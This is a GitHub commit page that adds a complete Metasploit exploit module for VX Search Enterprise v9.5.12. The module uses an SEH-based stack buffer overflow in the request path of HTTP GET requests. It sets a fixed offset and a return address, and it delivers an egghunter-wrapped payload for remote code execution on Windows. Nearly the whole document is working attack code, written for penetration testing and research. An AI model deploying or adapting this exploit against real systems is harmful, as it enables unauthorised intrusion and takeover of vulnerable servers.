Skip to content

Commit c1624d0

Browse files
VX Search Enterprise GET Buffer Overflow
1 parent ca6b001 commit c1624d0

File tree

1 file changed

+102
-0
lines changed

1 file changed

+102
-0
lines changed
Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = GreatRanking
8+
9+
include Msf::Exploit::Remote::Seh
10+
include Msf::Exploit::Remote::Egghunter
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'VX Search Enterprise GET Buffer Overflow',
16+
'Description' => %q{
17+
This module exploits a stack-based buffer overflow vulnerability
18+
in the web interface of VX Search Enterprise v9.5.12, caused by
19+
improper bounds checking of the request path in HTTP GET requests
20+
sent to the built-in web server. This module has been tested
21+
successfully on Windows 7 SP1 x86.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'Daniel Teixeira'
27+
],
28+
'DefaultOptions' =>
29+
{
30+
'EXITFUNC' => 'thread'
31+
},
32+
'Platform' => 'win',
33+
'Payload' =>
34+
{
35+
'BadChars' => "\x00\x09\x0a\x0d\x20\x26",
36+
'Space' => 500
37+
},
38+
'Targets' =>
39+
[
40+
[ 'VX Search Enterprise v9.5.12',
41+
{
42+
'Offset' => 2488,
43+
'Ret' => 0x10015ffe # POP # POP # RET [libspp.dll]
44+
}
45+
]
46+
],
47+
'Privileged' => true,
48+
'DisclosureDate' => 'Mar 15 2017',
49+
'DefaultTarget' => 0))
50+
end
51+
52+
def check
53+
res = send_request_cgi(
54+
'method' => 'GET',
55+
'uri' => '/'
56+
)
57+
58+
if res && res.code == 200
59+
version = res.body[/VX Search Enterprise v[^<]*/]
60+
if version
61+
vprint_status("Version detected: #{version}")
62+
if version =~ /9\.5\.12/
63+
return Exploit::CheckCode::Appears
64+
end
65+
return Exploit::CheckCode::Detected
66+
end
67+
else
68+
vprint_error('Unable to determine due to a HTTP connection timeout')
69+
return Exploit::CheckCode::Unknown
70+
end
71+
72+
Exploit::CheckCode::Safe
73+
end
74+
75+
def exploit
76+
77+
eggoptions = {
78+
checksum: true,
79+
eggtag: rand_text_alpha(4, payload_badchars)
80+
}
81+
82+
hunter, egg = generate_egghunter(
83+
payload.encoded,
84+
payload_badchars,
85+
eggoptions
86+
)
87+
88+
sploit = rand_text_alpha(target['Offset'])
89+
sploit << generate_seh_record(target.ret)
90+
sploit << hunter
91+
sploit << make_nops(10)
92+
sploit << egg
93+
sploit << rand_text_alpha(5500)
94+
95+
print_status('Sending request...')
96+
97+
send_request_cgi(
98+
'method' => 'GET',
99+
'uri' => sploit
100+
)
101+
end
102+
end

0 commit comments

Comments
 (0)